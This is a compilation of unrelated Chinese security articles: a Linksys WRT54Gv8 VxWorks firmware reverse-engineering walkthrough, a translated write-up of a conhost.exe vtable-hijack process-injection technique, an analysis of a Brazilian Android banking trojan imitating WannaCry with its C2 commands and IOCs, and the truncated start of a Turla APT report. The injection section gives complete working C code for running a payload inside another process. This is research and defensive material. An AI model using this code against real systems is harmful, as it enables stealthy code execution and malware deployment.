1587626 0x1839AA gzip compressed data, was "capstatus.js", from NTFS filesystem (NT), last modified: Tue Jul 14 04:38:19 2009
1588171 0x183BCB gzip compressed data, was "ddnsmsg.js", from NTFS filesystem (NT), last modified: Tue Jul 14 04:38:20 2009
1588954 0x183EDA gzip compressed data, was "errmsg.js", from NTFS filesystem (NT), last modified: Tue Jul 14 04:38:20 2009
1589732 0x1841E4 gzip compressed data, was "help.js", from NTFS filesystem (NT), last modified: Tue Jul 14 04:38:21 2009
1602550 0x1873F6 gzip compressed data, was "share.js", from NTFS filesystem (NT), last modified: Tue Jul 14 04:38:22 2009
1606645 0x1883F5 gzip compressed data, was "capadmin.js", from NTFS filesystem (NT), last modified: Tue Jul 14 04:38:18 2009
1608110 0x1889AE gzip compressed data, was "capapp.js", from NTFS filesystem (NT), last modified: Tue Jul 14 04:38:18 2009
1608851 0x188C93 gzip compressed data, was "capasg.js", from NTFS filesystem (NT), last modified: Tue Jul 14 04:38:24 2009
1616048 0x18A8B0 gzip compressed data, was "capsec.js", from NTFS filesystem (NT), last modified: Tue Jul 14 04:38:19 2009
1618053 0x18B085 gzip compressed data, was "capsetup.js", from NTFS filesystem (NT), last modified: Tue Jul 14 04:38:19 2009
1619884 0x18B7AC gzip compressed data, was "capstatus.js", from NTFS filesystem (NT), last modified: Tue Jul 14 04:38:19 2009
1620434 0x18B9D2 gzip compressed data, was "ddnsmsg.js", from NTFS filesystem (NT), last modified: Tue Jul 14 04:38:20 2009
1621256 0x18BD08 gzip compressed data, was "errmsg.js", from NTFS filesystem (NT), last modified: Tue Jul 14 04:38:20 2009
1622020 0x18C004 gzip compressed data, was "help.js", from NTFS filesystem (NT), last modified: Tue Jul 14 04:38:21 2009
1635437 0x18F46D gzip compressed data, was "share.js", from NTFS filesystem (NT), last modified: Tue Jul 14 04:38:22 2009
1639557 0x190485 gzip compressed data, was "capadmin.js", from NTFS filesystem (NT), last modified: Tue Jul 14 04:38:18 2009
1640989 0x190A1D gzip compressed data, was "capapp.js", from NTFS filesystem (NT), last modified: Tue Jul 14 04:38:18 2009
1641705 0x190CE9 gzip compressed data, was "capasg.js", from NTFS filesystem (NT), last modified: Tue Jul 14 04:38:24 2009
1648936 0x192928 gzip compressed data, was "capsec.js", from NTFS filesystem (NT), last modified: Tue Jul 14 04:38:19 2009
1650918 0x1930E6 gzip compressed data, was "capsetup.js", from NTFS filesystem (NT), last modified: Tue Jul 14 04:38:19 2009
1652676 0x1937C4 gzip compressed data, was "capstatus.js", from NTFS filesystem (NT), last modified: Tue Jul 14 04:38:19 2009
1653245 0x1939FD gzip compressed data, was "ddnsmsg.js", from NTFS filesystem (NT), last modified: Tue Jul 14 04:38:20 2009
1654035 0x193D13 gzip compressed data, was "errmsg.js", from NTFS filesystem (NT), last modified: Tue Jul 14 04:38:20 2009
1654781 0x193FFD gzip compressed data, was "help.js", from NTFS filesystem (NT), last modified: Tue Jul 14 04:38:21 2009
1668039 0x1973C7 gzip compressed data, was "share.js", from NTFS filesystem (NT), last modified: Tue Jul 14 04:38:22 2009
1672113 0x1983B1 gzip compressed data, was "capadmin.js", from NTFS filesystem (NT), last modified: Tue Jul 14 04:38:18 2009
1673513 0x198929 gzip compressed data, was "capapp.js", from NTFS filesystem (NT), last modified: Tue Jul 14 04:38:18 2009
1674220 0x198BEC gzip compressed data, was "capasg.js", from NTFS filesystem (NT), last modified: Tue Jul 14 04:38:23 2009
1681271 0x19A777 gzip compressed data, was "capsec.js", from NTFS filesystem (NT), last modified: Tue Jul 14 04:38:18 2009
1683281 0x19AF51 gzip compressed data, was "capsetup.js", from NTFS filesystem (NT), last modified: Tue Jul 14 04:38:19 2009
1685025 0x19B621 gzip compressed data, was "capstatus.js", from NTFS filesystem (NT), last modified: Tue Jul 14 04:38:19 2009
1685594 0x19B85A gzip compressed data, was "ddnsmsg.js", from NTFS filesystem (NT), last modified: Tue Jul 14 04:38:19 2009
1686372 0x19BB64 gzip compressed data, was "errmsg.js", from NTFS filesystem (NT), last modified: Tue Jul 14 04:38:20 2009
1687111 0x19BE47 gzip compressed data, was "help.js", from NTFS filesystem (NT), last modified: Tue Jul 14 04:38:21 2009
1699948 0x19F06C gzip compressed data, was "share.js", from NTFS filesystem (NT), last modified: Tue Jul 14 04:38:22 2009
1703937 0x1A0001 gzip compressed data, was "capadmin.js", from NTFS filesystem (NT), last modified: Tue Jul 14 04:38:18 2009
1705425 0x1A05D1 gzip compressed data, was "capapp.js", from NTFS filesystem (NT), last modified: Tue Jul 14 04:38:18 2009
1706169 0x1A08B9 gzip compressed data, was "capasg.js", from NTFS filesystem (NT), last modified: Tue Jul 14 04:38:24 2009
1713196 0x1A242C gzip compressed data, was "capsec.js", from NTFS filesystem (NT), last modified: Tue Jul 14 04:38:19 2009
1715253 0x1A2C35 gzip compressed data, was "capsetup.js", from NTFS filesystem (NT), last modified: Tue Jul 14 04:38:19 2009
1717098 0x1A336A gzip compressed data, was "capstatus.js", from NTFS filesystem (NT), last modified: Tue Jul 14 04:38:19 2009
1717679 0x1A35AF gzip compressed data, was "ddnsmsg.js", from NTFS filesystem (NT), last modified: Tue Jul 14 04:38:20 2009
1718519 0x1A38F7 gzip compressed data, was "errmsg.js", from NTFS filesystem (NT), last modified: Tue Jul 14 04:38:20 2009
1719332 0x1A3C24 gzip compressed data, was "help.js", from NTFS filesystem (NT), last modified: Tue Jul 14 04:38:21 2009
1732356 0x1A6F04 gzip compressed data, was "share.js", from NTFS filesystem (NT), last modified: Tue Jul 14 04:38:22 2009
1736429 0x1A7EED gzip compressed data, was "capadmin.js", from NTFS filesystem (NT), last modified: Tue Jul 14 04:38:18 2009
1737865 0x1A8489 gzip compressed data, was "capapp.js", from NTFS filesystem (NT), last modified: Tue Jul 14 04:38:18 2009
1738572 0x1A874C gzip compressed data, was "capasg.js", from NTFS filesystem (NT), last modified: Tue Jul 14 04:38:24 2009
1745822 0x1AA39E gzip compressed data, was "capsec.js", from NTFS filesystem (NT), last modified: Tue Jul 14 04:38:19 2009
1747816 0x1AAB68 gzip compressed data, was "capsetup.js", from NTFS filesystem (NT), last modified: Tue Jul 14 04:38:19 2009
1749609 0x1AB269 gzip compressed data, was "capstatus.js", from NTFS filesystem (NT), last modified: Tue Jul 14 04:38:19 2009
1750156 0x1AB48C gzip compressed data, was "ddnsmsg.js", from NTFS filesystem (NT), last modified: Tue Jul 14 04:38:20 2009
1750922 0x1AB78A gzip compressed data, was "errmsg.js", from NTFS filesystem (NT), last modified: Tue Jul 14 04:38:20 2009
1751669 0x1ABA75 gzip compressed data, was "help.js", from NTFS filesystem (NT), last modified: Tue Jul 14 04:38:21 2009
1765090 0x1AEEE2 gzip compressed data, was "share.js", from NTFS filesystem (NT), last modified: Tue Jul 14 04:38:22 2009
可以看到binwalk识别了很多的gzip压缩过的web文件、一些LZMA签名、一个ELF头以及一个JFFS文件系统。
那个JFFS文件系统大概率是一个误报，所以我忽略了它。
通过十六进制查看该镜像，发现经过gzip压缩的web文件看起来像是简单文件系统的一部分，类似于[之前](http://www.devttys0.com/2011/06/mystery-file-system/)讨论过的OW文件系统。但是，Web文件与本文的目的不是特别相关，因此我放弃对该文件系统的分析；如果有必要，可以比较容易地从固件映像中提取这些文件并进行gzip解压。
总共发现了四个`LZMA`签名，可以看到，除了一个签名以外，其他三个签名都有很大的size（每个有几百MB），所以那三个可能是误报。第一个签名偏移是0x194f0的大小只有3.5MB，这个大小是合理的，所以我们将该文件提取出来并解压缩：
embedded@ubuntu:~/WRT54Gv8$ dd if=FW_WRT54Gv8_8.00.8.001_US_20091005.bin skip=0x1 bs=103664 of=lzma_data.7z
16+1 records in
16+1 records out
1665240 bytes (1.7 MB) copied, 0.00559597 s, 298 MB/s
embedded@ubuntu:~/WRT54Gv8$ p7zip -d lzma_data.7z
7-Zip (A) 9.04 beta Copyright (c) 1999-2009 Igor Pavlov 2009-05-30
p7zip Version 9.04 (locale=en_US.utf8,Utf16=on,HugeFiles=on,1 CPU)
Processing archive: lzma_data.7z
Extracting lzma_data
Everything is Ok
Size: 3680864
Compressed: 1665240
看起来解压的很成功，让我们使用strings以及hexdump来看一下在解压缩的数据里能够找到什么：
embedded@ubuntu:~/WRT54Gv8$ strings lzma_data | less
NORMAL_CODE_DATA
5VGW$LANGPACK_CODE_DATA=
$MODEL_NAME=WRT54G
$OEM_NAME=LINKSYS
Copyright 2004-2005 CyberTAN Limited
...
GetConnectedDevices
GetRouterLanSettings2
GetWanInfo
GetWanSettings
GetMACFilters2
GetPortMappings
GetDeviceSettings
HTTP/1.1 307 Temporary Redirect
Location: https://%s%s/HNAP1/
HTTP/1.1 500 Internal Server Error
Server: httpd
embedded@ubuntu:~/WRT54Gv8$ hexdump -C lzma_data | head
00000000 22 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 |"...............|
00000010 4e 4f 52 4d 41 4c 5f 43 4f 44 45 5f 44 41 54 41 |NORMAL_CODE_DATA|
00000020 01 80 00 08 35 56 47 57 24 4c 41 4e 47 50 41 43 |....5VGW$LANGPAC|
00000030 4b 5f 43 4f 44 45 5f 44 41 54 41 3d 06 01 00 01 |K_CODE_DATA=....|
00000040 24 4d 4f 44 45 4c 5f 4e 41 4d 45 3d 57 52 54 35 |$MODEL_NAME=WRT5|
00000050 34 47 00 24 4f 45 4d 5f 4e 41 4d 45 3d 4c 49 4e |4G.$OEM_NAME=LIN|
00000060 4b 53 59 53 00 43 6f 70 79 72 69 67 68 74 20 32 |KSYS.Copyright 2|
00000070 30 30 34 2d 32 30 30 35 20 43 79 62 65 72 54 41 |004-2005 CyberTA|
00000080 4e 20 4c 69 6d 69 74 65 64 00 00 00 39 80 1c 3c |N Limited...9..<|
00000090 50 ba 9c 27 00 10 08 3c fe ff 09 24 24 40 09 01 |P..'...<...$$@..|
可以看到里面还是存在一些有意义的字符串的，看起来像是一些服务应用的字符串如HTTP和HNAP。
里面也有一些二进制数据，也许是可执行代码。但是，如果存在可执行代码，也找不到可以区别出来的头或者节信息，这使得分析起来存在困难。而且我们也不知道CPU的架构或者是大小端（这可能可以通过谷歌搜索找到）。
我们也看到在固件镜像偏移0x200的地方看到了一个ELF头的信息，分析下该文件：
embedded@ubuntu:~/WRT54Gv8$ dd if=FW_WRT54Gv8_8.00.8.001_US_20091005.bin bs=512 skip=1 of=elf
3453+1 records in
3453+1 records out
1768392 bytes (1.8 MB) copied, 0.020778 s, 85.1 MB/s
embedded@ubuntu:~/WRT54Gv8$ file elf
elf: ELF 32-bit LSB executable, MIPS, MIPS-II version 1 (SYSV), statically linked, not stripped
embedded@ubuntu:~/WRT54Gv8$ strings -n 10 elf | head
VxWorks5.4.2
Oct 5 2009, 15:15:53
memPartFree
%-5s = %8x
0123456789abcdef
0123456789ABCDEF
bug in vfprintf: bad base
WIND version 2.5
workQPanic: Kernel work queue overflow.
DDDDDDDDDD
这是一个小端的mips ELF文件，里面包含一些字符串有`Vxworks`、`Wind
River`、以及`Kernel`。看起来这似乎是VxWorks内核文件。用IDA加载这个文件看下能不能查看它（确定选择mipsl cpu）：
由于这个文件有ELF头，所以IDA可以很好的解析这个文件，识别函数以及解析符号。首先看下第一个函数`startInflate`：
可以看到地址`0x80001000`加载到了`$v0`寄存器中，并调用`decompressImage`函数，最终跳转到`$v0(0x80001000)`地址去执行。因此，可能是`decompressImage`函数将`0x80001000`处的代码解压，然后再执行该地址处的代码。
查看`decompressImage`函数的参数，第一个参数是`_binArrayStart`，第二个地址是`0x80001000`。让我们看下`_binArrayStart`：
`_binArrayStart`地址处的前五个字节是`6C 00 00 80
00`，看起来像是一个`LZMA`镜像的头文件。与之前提取出来的LZMA数据比较下，确定了这个想法：
embedded@ubuntu:~/WRT54Gv8$ hexdump -C lzma_data.7z | head
00000000 6c 00 00 80 00 60 2a 38 00 00 00 00 00 00 11 00 |l....`*8........|
00000010 2c 20 00 df 1e 01 d7 44 6b 43 41 4d a8 aa 91 9c |, .....DkCAM....|
00000020 11 ed 0d 6b bd 40 da 21 19 b1 16 8b 51 48 b8 a6 |...k.@.!....QH..|
00000030 c9 1f 7e 0b 24 4c 24 14 2b db 64 59 fb 79 2a 3c |..~.$L$.+.dY.y*<|
00000040 11 70 12 a7 84 78 fc 38 f5 99 ed 0d db 0f c3 64 |.p...x.8.......d|
00000050 4c ca ca 70 31 bc e7 1a 7f 42 51 dc 1f fe 8b dc |L..p1....BQ.....|
00000060 d0 89 fc 0a 9a dc 03 37 62 e3 75 f3 10 56 7c f8 |.......7b.u..V|.|
00000070 6a c1 14 69 bc 28 e6 fc 48 2e f5 bf b2 22 dc f5 |j..i.(..H...."..|
00000080 ec b1 c7 9b ec 76 93 73 b8 cf fa 2d 06 34 cb 75 |.....v.s...-.4.u|
00000090 4b ed 1f f1 28 d7 00 ea ae 29 57 19 de 87 42 ae |K...(....)W...B.|
跟进去`decompressImage`函数，我们还可以看到它还调用了一个叫做`LzmaDecode`的函数：
所以看起来是我们之前提取的`LZMA`数据包含可执行代码，这些数据被解压然后载入到地址`0x80001000`中，google搜`vxworks
lzmadecode`出来的[源码](http://www.hackchina.com/en/cont/27807)（译者注：这个链接已经失效了）证明了这个结论。
基于之前看到的字符串，可以初步判断`LZMA`数据中包含OS的应用代码。
我们现在已经有了足够多的信息，可以将解压出来的LZMA数据加载到IDA中分析了。与kernel一样，我们将架构设为mipsl，由于这是一个二进制文件，我们需要在IDA中设置一些适当的加载信息。
我们将ROM的开始地址设置为`0x80001000`，把size设置成文件的size`0x382A60`，同时把`loading
address`设置为`0x80001000`。如下图所示：
当文件加载进IDA，到第一个字节处，按下`c`键直接把它转换成代码。IDA会将该地址处的字节直接转换成代码并对文件进行分析。可以看到，第一条指令是一个跳转指令，跳过了文件头附近的一些文件。
代码看起来很清晰，IDA也识别出来了超过5000个函数，并且字符串的引用看起来也是正确的：
我们将该数据文件载入IDA，不设置正确的载入地址。将分析结果与上面得到的结果进行对比；
IDA的导航栏中有相当数量的蓝色区域（代码）：
可以看到，虽然我们的分析已经提升了IDA的分析结果，仍然还有很多代码是丢失的，因此我写了一个IDA[脚本](http://www.devttys0.com/wp-content/uploads/2011/07/ida_scripts.zip)来帮助得到更多的反汇编代码。
首先，我们希望通过迭代查找代码寻找常见的函数序言来定位未识别的函数。如果找到了，我们会告诉IDA在那里创建一个函数。对于MIPS而言，有时比intel架构困难，因为函数序言在MIPS中的标准化程度较低。
`addui`指令经常在函数最开始被用来操作栈桢寄存器`$sp`，我们可以在IDA中看到很多的函数是这样的：
然而，也有一些函数在`addui`指令前还有一条`lw`指令：
`create_function.py`
IDAPython脚本通过搜索代码字节序（从上图的光标处地址开始）寻找相应的指令，如果找到的话就引导IDA将该处的代码创建为一个函数。
查看反汇编代码，包含字符串的数据节出现在地址`0x802DDAC0`，因此我将脚本的设定为分析到该地址就结束：
在跑完这个脚本后，IDA识别出来了9600个函数，相比于之前，更多的代码被识别出来了：
但是仍然有一些数据节没有被分析到：
这些节被代码所包围，并且导航到其中几个节将它们直接转换成代码，可以看到它们也是有效的汇编指令：
因为这些节看起来都是以`jr $ra`（mips的返回指令）结束，并且由于它们没有被其他的函数所使用，它们可能是自身调用的函数（since they are
not referenced by the surrounding functions, they are likely functions
themselves. ）（译者注：不太理解这句话，怕误导，所以将原文贴出）
`create_code.py`会遍历代码并将这些没有定义的字节转换成函数（方法和之前的类似，脚本从下图光标处地址开始遍历至`0x802DDAC0`结束）：
现在在IDA的导航栏中有一个比较完美的代码块：
随着完成对代码的处理，我们将注意力转向字符串。没有像ELF文件中的符号，我们不得不依赖字符串的引用来提供对于固件中的事件的理解。但是仍然有一些ascii字节的数组没有被IDA转换成字符串：
将这些ascii字节的数组转换成字符串将会使得代码的可读性更强，因此`create_ascii.py`脚本是将ascii字节的数组转换成字符串。我们之前看到的是，包含字符串的数据地址开始于0x802DDAC0，因此我们将开始的地址设定为该地址，并运行脚本。运行的结果相较于之前又了一定的提升：
随着字符串也被修复好了，让我们在汇编代码中去识别一些基本的函数：
上图中有两个函数被调用。第一个是`sub_802A7F90`，参数为一个：1将其左移16位（65536）。如果返回值是0，调用第二个函数`sub_802A06E8`。
第二个函数接受不了两个参数：一个包含格式化字符的字符串；一个65536立即数。伪代码如下：
if(!sub_802A7F90(65536))
{
sub_802A06E8("Can't allocate %d bytes of memoryn", 65536);
}
很容易看出来`sub_802A7F90`等同于`malloc`函数，`sub_802A06E8`函数是`printf`。我们将这些函数重命名，以便其他代码对它们进行引用的时候会更加便于分析。
到这里就结束了，我们现在就拥有了内核以及应用层的所有代码。可以进一步进行分析，寻找bug或漏洞了。 | 社区文章 |
原文：<https://modexp.wordpress.com/2018/09/12/process-injection-user-data/>
# 介绍
每个窗口对象都支持通过 **SetWindowLongPtr** API和 **GWLP_USERDATA**
参数设置的用户数据。一个窗口的用户数据只是少量的内存，通常用于存储一个指向类对象的指针。在控制台窗口主机(conhost)进程中，它存放了一个数据结构体的地址。结构体中的内容包括窗口在当前桌面上的位置，窗口尺寸，对象句柄以及一个带有控制控制台窗口行为方法的类对象。
conhost.exe的用户数据存放在一个有写权限的堆上。这使得其可被用于进程注入，类似于之前讨论过的Extra
Bytes方法([原文](https://modexp.wordpress.com/2018/08/26/process-injection-ctray/)及[译文](https://xz.aliyun.com/t/2656))。
# 控制台窗口类
在图1中，我们可以看到一个控制台程序所使用的窗口对象的属性。注意到 Window Proc 字段是空的。User
Data字段指向了一个虚拟地址，但它并没有驻留在控制台程序当中，而是在控制台程序启动时系统生成的conhost.exe中。
_图1. 数据结构的虚拟地址_
图2显示了窗口类的信息，并高亮显示了一个负责处理窗口消息的回调程序的地址。
_图2. 窗口处理来自操作系统的消息的过程_
# 调试conhost.exe
图3显示了连接到控制台主机的调试器以及用户数据（0x000001CB3836F580）的转储。第一个64位值指向一个方法虚拟表（函数数组）。
_图3. 用户数据地址_
图4显示了存储在虚拟表中的方法。
_图4. 虚拟表中的方法_
在覆盖任何内容之前，我们需要确定如何从外部应用触发执行这些函数。为虚拟表设置一个“中断访问”（break on access,
ba），然后向窗口发送信息，用以披露可接受的内容。图5显示了在发送了 **WM_SETFOCUS** 消息之后触发的一个断点。
_图5. 虚拟表的中断访问_
现在我们知道，只需要劫持一个方法，就可以触发执行。在这个前提下，注意到处理 **WM_SETFOCUS**
消息时首先会调用`GetWindowHandle`，图6显示此方法不需要任何参数，只返回一个用户数据中的窗口句柄。
_图6.`GetWindowHandle`方法_
# 虚拟表
下列结构体定义了conhost用来控制控制台窗口行为的虚拟表，不需要为每个方法都定义原型，除非我们想要使用除`GetWindowHandle`以外的，不需要参数的东西。
typedef struct _vftable_t {
ULONG_PTR EnableBothScrollBars;
ULONG_PTR UpdateScrollBar;
ULONG_PTR IsInFullscreen;
ULONG_PTR SetIsFullscreen;
ULONG_PTR SetViewportOrigin;
ULONG_PTR SetWindowHasMoved;
ULONG_PTR CaptureMouse;
ULONG_PTR ReleaseMouse;
ULONG_PTR GetWindowHandle;
ULONG_PTR SetOwner;
ULONG_PTR GetCursorPosition;
ULONG_PTR GetClientRectangle;
ULONG_PTR MapPoints;
ULONG_PTR ConvertScreenToClient;
ULONG_PTR SendNotifyBeep;
ULONG_PTR PostUpdateScrollBars;
ULONG_PTR PostUpdateTitleWithCopy;
ULONG_PTR PostUpdateWindowSize;
ULONG_PTR UpdateWindowSize;
ULONG_PTR UpdateWindowText;
ULONG_PTR HorizontalScroll;
ULONG_PTR VerticalScroll;
ULONG_PTR SignalUia;
ULONG_PTR UiaSetTextAreaFocus;
ULONG_PTR GetWindowRect;
} ConsoleWindow;
# 用户数据结构
图7显示了用户数据体的总大小是104字节。由于默认情况下分配具有`PAGE_READWRITE`保护，因此可以一个带有payload
地址的副本覆盖掉原来指向虚拟表的指针。
_图7. 数据结构的分配_
# 完整的函数
此函数演示了如何在触发某些代码的执行前使用副本替换掉原来的虚拟表。在64位的win10系统中测试成功。
VOID conhostInject(LPVOID payload, DWORD payloadSize) {
HWND hwnd;
LONG_PTR udptr;
DWORD pid, ppid;
SIZE_T wr;
HANDLE hp;
ConsoleWindow cw;
LPVOID cs, ds;
ULONG_PTR vTable;
1. 获得一个控制台窗口的句柄和pid（假设进程已经在运行）
hwnd = FindWindow(L"ConsoleWindowClass", NULL);
GetWindowThreadProcessId(hwnd, &ppid);
2. 获得主进程的 pid
pid = conhostId(ppid);
3. 打开 conhost.exe 进程
hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
4. 分配内存的读写执行权限并将 payload 复制进去
cs = VirtualAllocEx(hp, NULL, payloadSize,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hp, cs, payload, payloadSize, &wr);
5. 读取当前虚拟表的地址
udptr = GetWindowLongPtr(hwnd, GWLP_USERDATA);
ReadProcessMemory(hp, (LPVOID)udptr,
(LPVOID)&vTable, sizeof(ULONG_PTR), &wr);
6. 将当前虚拟表读取到本地内存
ReadProcessMemory(hp, (LPVOID)vTable,
(LPVOID)&cw, sizeof(ConsoleWindow), &wr);
7. 为新的虚拟表分配读写权限
ds = VirtualAllocEx(hp, NULL, sizeof(ConsoleWindow),
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
8. 使用payload 的地址更新本地虚拟表的副本，并写入到远程进程中
cw.GetWindowHandle = (ULONG_PTR)cs;
WriteProcessMemory(hp, ds, &cw, sizeof(ConsoleWindow), &wr);
9. 在远程进程中更新指向虚拟表的指针
WriteProcessMemory(hp, (LPVOID)udptr, &ds,
sizeof(ULONG_PTR), &wr);
10. 触发payload执行
SendMessage(hwnd, WM_SETFOCUS, 0, 0);
11. 将指针存储在原始的虚拟表中
WriteProcessMemory(hp, (LPVOID)udptr, &vTable,
sizeof(ULONG_PTR), &wr);
12. 释放内存，关闭句柄
VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE);
VirtualFreeEx(hp, ds, 0, MEM_DECOMMIT | MEM_RELEASE);
CloseHandle(hp);
}
# 小结
这是“Shatter”攻击的另一种变体，其中窗口消息和回调函数被滥用于执行代码而不需要创建新线程。本文显示的方法仅适用于控制台窗口，或者更准确的说，适用于“控制台窗口类”。然而，其他的应用也会使用
**GWLP_USERDATA**
来存放一个指向类对象的指针。[可以在这里找到PoC](https://github.com/odzhan/injection/tree/master/conhost)。 | 社区文章 |
# 首例发生在巴西的仿冒WannaCry恶意软件
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 背景介绍
2017年5月12日，WannaCry蠕虫在全球大爆发，引爆了互联网行业的“生化危机”。借助“永恒之蓝”高危漏洞传播的WannaCry，在数小时内横扫了近150个国家的政府机关、高校、医院等。红色的背景“桌面”席卷全球，致使多个国家的政府、教育、医院、能源、通信、交通、制造等关键信息基础设施遭受到了前所未有的破坏。
而随着WannaCry的爆发，许多勒索软件也借着WannaCry的热度与余威，通过各种仿冒WannaCry对用户进行勒索，其中也不乏移动端WannaCry仿冒软件。移动端仿冒WannaCry的勒索软件2017年就已出现，其通过仿冒“王者荣耀辅助”诱骗用户安装，勒索软件通过仿冒WannaCry勒索界面，对用户手机进行锁屏，加密用户手机文件，并通过二维码对用户进行勒索。
近日奇安信红雨滴团队，通过分析推特上发现的，巴西首例通过仿冒WannaCry勒索的移动恶意软件，该软件通过仿冒WannaCry勒索界面，向用户索要比特币，其勒索界面与2017年国内发现的“王者荣耀辅助”勒索软件类似。
但此次在巴西发现的恶意软件，相比于“王者荣耀辅助”，其UI上做了借鉴，功能上做了升级，经过分析发现其为“AhMyth ”、“WannaCry UI
”、“Banker木马”类软件的结合体。
## 诱饵分析
2017年国内发现的仿冒“王者荣耀辅助”的勒索软件：
近日巴西发现的仿冒WannaCry勒索软件，含有西班牙语的勒索界面：
样本信息：
文件名称 | Google Protect
---|---
软件名称 | Google Protect
软件包名 | com.google.protect
MD5 | 78C9BFEA25843A0274C38086F50E8B1C
安装图标 |
## 样本分析
经过对该恶意软件进行分析，该恶意软件除了在UI上借鉴了WannaCry，功能上相比与国内发现的“王者荣耀辅助”已完全不同。恶意软件运行后会隐藏自身图标，并在后台通过服务端下发控制指令，对用户手机进行远控，而且其着重针对巴西境内的九大银行。其恶意行为有：获取用户手机短信、通讯录、通话记录、手机固件信息、地理位置、获取用户手机已安装的银行APP信息，对用户手机进行网络钓鱼、执行DDOS攻击、获取手机录音等。
恶意程序远控指令及含义：
控制指令 | 指令含义
---|---
x0000gsm | 0，获取手机短信
1，发送短信
2，获取通话记录
3，获取通讯录
x0000bk | 1，获取安装的银行APP
2，加入到系统卸载程序
3，启动指定APP
4，捕获不同APP的信息
5，网络钓鱼
x0000ca | -1，打开摄像机拍照
x0000fm | 0，获取文件名、目录
1，获取文件名、大小
x0000hk | 执行指定的shell命令(DDOS攻击等)
x0000lm | 获取地理位置
x0000mc | 手机录音
x0000mn | 获取手机固件信息
远控代码：
部分恶意代码：
恶意软件着重针对，用户手机安装的巴西各大银行软件，这个应该是攻击者的真正目的。恶意软件会获取用户手机安装的银行软件，同时会获取银行ＡＰＰ上个人相关的信息，针对不同的ＡＰＰ会有相应的不同操作。
恶意程序中监测的巴西银行ＡＰＰ统计：
包名 | 应用名称 | 图标
---|---|---
br.com.bb.android | Banco do Brasil
巴西银行
|
com.bradesco | Banco Bradesco SA
巴西布拉德斯科银行
|
com.itau | Banco Itaú
伊塔岛銀行
|
com.itau.empresas | Itaú Empresas
伊塔岛联合银行
|
com.santander.app | Santander
桑坦德銀行
|
com.santandermovelempresarial.app | Santander Empresas
桑坦德銀行
|
br.com.bradesco.next | banco next
|
br.com.original.bank | Banco Original
|
br.com.intermedium | Banco Inter
|
## 同源分析
当PC端的WannaCry爆发以后，国内恶意软件作者，马上推出了移动端仿冒WannaCry的勒索软件“王者荣耀辅助”。这方面我们可谓走在了世界前列，“王者荣耀辅助”为前几年国内移动端勒索软件较流行的“彼岸花”系列变种，其源码也早已公开。此次在巴西发现的仿冒WannaCry恶意软件，在UI上参考了国内早期的勒索软件。
仿冒WannaCry的勒索软件“王者荣耀辅助”：
遍历用户手机文件，进行加解密操作：
勒索界面：
付费二维码：
勒索软件源码：
<https://github.com/coh7eiqu8thaBu/SLocker>
## 总结
根据我们奇安信红雨滴团队的数据统计，近年来移动端的勒索软件，无论是从发现的恶意样本数量，还是从受害用户的数量来看，这类威胁目前都趋于稳定。然而移动端银行木马数量与受害人数，近年来不断增加，尤其是国外越来越多。我们的邻居韩国就是移动银行木马的重灾区，移动木马主要为Anubis、Asacub、Hqwar等木马家族的变种。此次发现针对巴西用户的，通过仿冒WannaCry的移动木马，是一个集勒索软件、银行木马、钓鱼木马等的结合体，无疑也可能是移动恶意软件未来的发展方向。作为用户时刻要注意的是，手机软件要去正规的移动商城下载。未来我们奇安信红雨滴团队，也会时刻关注这方面的恶意情报。
## IOC
MD5
78c9bfea25843a0274c38086f50e8b1c
ba03c39ba851c2cb3ac5851b5f029b9c
C&C
<https://keyprotect.ngrok.io/socket.io>
## 参考信息
<https://github.com/coh7eiqu8thaBu/SLocker> | 社区文章 |
此稿件为翻译稿，原文为
https://securelist.com/shedding-skin-turlas-fresh-faces/88069/
Turla，也被称为Venomous
Bear，Waterbug和Uroboros，可能最为人所知的是当时被称为“过复杂”并专注于北约目标的rootkit，但其实他们的恶意软件集和活动范围更广。
我们目前关注的是APT最近即将开展的活动。这些APT带来了旧代码、新代码、它们下一次攻击的地点以及将会发生的事情等新的猜测。
在2018年，我们大部分的研究都集中在Turla的KopiLuwak javascript后门、Carbon框架的新版本的和meterpreter渗透技术。
同样有趣的是Mosquito不断变化的渗透技术、PoshSec-Mod所定制的开源PowerShell的使用以及注入代码。
我们将部分此类活动与WhiteBear和Mosquito基础底层设备和数据点以及2017年和2018年的活动联系在一起。
首先，KopiLuwak通过研究确定了目标和交付技术，并使讨论更为准确和可靠。
同样有趣的是回顾像Turla这样引导出KopiLuwak等新工作的人工脚本，并从WhiteAtlas和WhiteBear的开发工作中追溯旧脚本。并且
在2018年，我们发现KopiLuwak的输送技术首次出乎意料地与Zebrocy钓鱼技术相匹配。
同样非常有趣和不寻常的是提供Mosquito后门的中间人攻击技术。 极大可能下Turla是在Wifi目标范围内传递了某种物理存在。
Adobe网站的下载会话被拦截并注入以传播Mosquito木马安装程序。 这种假设得到了Mosquito安装程序关于wifi凭证盗窃的一致性支持。
与此同时，在2018年代码注入和交付技术也正在发生着变化，例如反射Loaders和代码水平的提高。 我们预计到2019年会有更多的Mosquito活动。
最后，我们讨论了Carbon框架。此框架将“Snake lite”所研发的古老，优雅和具有多功能性的代码库捆绑在一起，并努力有选择地去监控高价值目标。
现在看来后门是用meterpreter产生的。
而且根据在2018年看到的代码修改和部署，我们可以预测这个成熟代码库的更多开发工作以及选择性部署将持续到2019年。
从本质上讲，我们正在讨论一下几个恶意软件的持续活动：
* KopiLuwak and IcedCoffeer
* Carbon
* Mosquito
* WhiteBear
## 技术膨胀
### Turla将工作转移到脚本
#### KopiLuwak、IcedCoffee、WhiteBear、和 WhiteAtlas（均为黑客利用工具的代称）
从2015年开始，Turla已经通过多种方式利用Javascript，powershell和wsh，实现了包括恶意软件的渗透/安装操作并制作了完整的后门程序。
White Atlas框架经常利用一个小的Javascript脚本在VBA宏代码解密后执行恶意软件dropper的有效可利用代码，然后清空痕迹。
此框架放弃了由Turla开发的Firefox扩展后门中White
Atlas示例所使用的更高级且高度混淆的Javascript脚本。为了便于清除，该脚本为扩展写出extension.json配置文件并用于删除自身简单的任务。
#### IcedCoffee（冰咖啡）
Turla首次涉足成熟的Javascript后便开始使用IcedCoffee后门。在2016年6月的“Ice
